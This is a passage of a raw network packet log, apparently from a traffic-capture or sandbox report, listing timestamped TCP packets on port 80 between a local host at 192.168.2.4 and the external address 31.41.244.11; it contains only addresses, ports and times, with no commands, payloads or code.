                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.930059910 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.930993080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.931047916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.931166887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.931231022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.932239056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.932296038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.932344913 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.932399988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.933279991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.933341026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.933410883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.933470964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.934446096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.934500933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.934568882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.934689999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.935652971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.935715914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.935771942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.936096907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.936744928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.936923027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.936992884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.937886000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.937947989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.938035011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.938299894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.939162016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.939198971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.939258099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.940169096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.940231085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.940330982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.940390110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.941431046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.941541910 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.941692114 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.941749096 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.942451954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.942544937 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.942631006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.942692041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.943619967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.943691015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.943696022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.943752050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.944802046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.944859028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.944945097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.945092916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.945928097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.945980072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.946079969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.946152925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.947061062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.947119951 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.947206020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.947283983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.948283911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.948385000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.948431969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.948457003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.949491978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.949546099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.949559927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.949604988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.950695038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.950767040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.950972080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.951029062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.951705933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.951781034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.951809883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.951836109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.952826023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.952883959 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.952963114 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.953150988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.954094887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.954154968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.954197884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.954288960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.955419064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.955487967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.955543041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.955749989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.956602097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.956671953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.956686974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.956738949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.957541943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.957602024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.957643986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.957693100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.958585978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.958641052 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.958643913 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.958693027 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.959850073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.959907055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.959928989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.959980965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.960978985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.961110115 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.961121082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.961157084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.962163925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.962222099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.962280035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.962330103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.963264942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.963354111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.963390112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.963670969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.075781107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.075797081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.075891018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.076111078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.076169014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.076184988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.076239109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.077250004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.077305079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.077404022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.077455044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.078376055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.078401089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.078454018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100117922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100192070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100271940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100605011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100686073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100740910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.100800037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.101752996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.101875067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.101933002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.102919102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.102974892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.103055954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.103115082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.104084969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.104135036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.104160070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.104223967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.105194092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.105247021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.105313063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.105361938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.106388092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.106602907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.106657982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.107536077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.107592106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.107768059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.107820034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.108885050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.108936071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.108978033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.109030962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.109827995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.109901905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.109962940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.111028910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.111073017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.111104012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.111135006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.112185001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.112313986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.112370014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.113225937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.113281012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.113411903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.113460064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.114388943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.114454031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.114520073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.115551949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.115622044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.115763903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.115818024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.116668940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.116734028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.116781950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.116837978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.117834091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.117953062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.118002892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.119004965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.119059086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.119199038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.119250059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.120132923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.120186090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.120234966 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.120285034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.121350050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.121426105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.121459961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.121510983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.122419119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.122536898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.122592926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.123593092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.123646021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.123692989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.123748064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.124749899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.124804020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.124902964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.124955893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.125890970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.126019955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.126071930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.127032995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.127072096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.127089024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.127123117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.128217936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.128271103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.128293037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.128345013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.129337072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.129389048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.129482031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.129544973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.130565882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.130623102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.130678892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.131673098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.131747007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.131830931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.131889105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.132793903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.132848024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.132893085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.132942915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.133898020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.133924007 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.133979082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.135047913 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.135103941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.135201931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.135257006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.136189938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.136240959 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.136303902 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.136353970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.137394905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.137447119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.137495041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.137541056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.138501883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.138670921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.138725996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.139686108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.139738083 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.139767885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.139812946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.140825033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.140878916 CET4985080192.168.2.431.41.244.11
